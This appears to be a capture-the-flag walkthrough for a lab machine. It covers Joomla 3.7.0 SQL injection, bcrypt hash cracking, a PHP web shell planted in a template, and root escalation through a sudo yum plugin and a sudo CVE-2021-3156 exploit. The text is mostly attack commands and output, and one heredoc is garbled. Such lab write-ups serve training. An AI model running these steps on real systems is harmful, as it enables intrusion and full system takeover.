

Port 80

1. `nmap scan` detected `http-vuln-cve2017-8917`,
 - Joomla! 3.7.0 'com_fields' SQL Injection Vulnerability
2. Searchsploit/find exploits for Joomla! 3.7.0

- Found Exploit [🔗](#)

```
python joomblah.py
```

```
http://10.10.156.30/index.php/component/users/?view
```



- `bcrypt`

3. Crack the hash

```
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt
hash --show
hashcat -a 0 -m 3200 hash /usr/share/wordlists/rockyou.txt
```

- `jonah:spiderman123`

4. Login to Joomla
5. Go to System → Control Panel → Templates → Templates → Protostar → Error.php, Insert PHP shell & save
 - Templates Dir: `http://10.10.129.97/administrator/index.php?option=com_templates&view=templates`


```
sh-4.2# cat /home/jjameson/*
```

```
sh-4.2#
```

Privilege Escalation to Root via SUID

1. Check sudo access

```
[jjameson@dailybugle html]$ sudo -l
Matching Defaults entries for jjameson on dailybugle:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User jjameson may run the following commands on dailybugle:
    (ALL) NOPASSWD: /usr/bin/yum
```

2. Exploit

```
...
```

```
TF=(mktemp -d)cat >TF/x<<EOF
```

```
[main]
```

```
plugins=1
```

```
pluginpath=TF/pluginconfpath=TF
```

```
EOF
```

```
cat >$TF/y.conf<<EOF
```

```
[main]
```

```
enabled=1
```

```
EOF
```

```
cat >$TF/y.py<<EOF
```

```
import os
```

```
import yum
```

```
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
```

```
def init_hook(conduit):
```

```
    os.execl('/bin/sh','/bin/sh')
```

EOF

```
sudo yum -c $TF/x --enableplugin=y  
...
```

```
[jjameson@dailybugle html]$ TF=$(mktemp -d)  
[jjameson@dailybugle html]$ cat >$TF/x<<EOF  
> [main]  
> plugins=1  
> pluginpath=$TF  
> pluginconfpath=$TF  
> EOF  
[jjameson@dailybugle html]$  
[jjameson@dailybugle html]$ cat >$TF/y.conf<<EOF  
> [main]  
> enabled=1  
> EOF  
[jjameson@dailybugle html]$  
[jjameson@dailybugle html]$ cat >$TF/y.py<<EOF  
> import os  
> import yum  
> from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE  
> requires_api_version='2.1'  
> def init_hook(conduit):  
>     os.execl('/bin/sh', '/bin/sh')  
> EOF  
[jjameson@dailybugle html]$  
[jjameson@dailybugle html]$ sudo yum -c $TF/x --enableplugin=y  
Loaded plugins: y  
No plugin match for: y  
sh-4.2# whoami  
root  
sh-4.2# cat /root/root.txt  
sh-4.2#
```

Privilege Escalation via Kernel Exploit

- Exploit:
 - https://github.com/worawit/CVE-2021-3156/blob/main/exploit_userspec.py ↗

1. Run exploit

```
python exploit_userspec.py
```

to skip finding offsets next time no this machine, run:

```
exploit_userspec.py 0x1b50 0x20 0x7f0 0x0
```

1048

2176

2216

2392

```
gg:$5$a$gemgwVPxLx/tdtByhncd4joKLMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash
```

success at 4593

bash-4.2\$

bash-4.2\$

bash-4.2\$

bash-4.2\$

bash-4.2\$ su gg

Password:

```
[root@dailybugle tmp]# whoami
```

root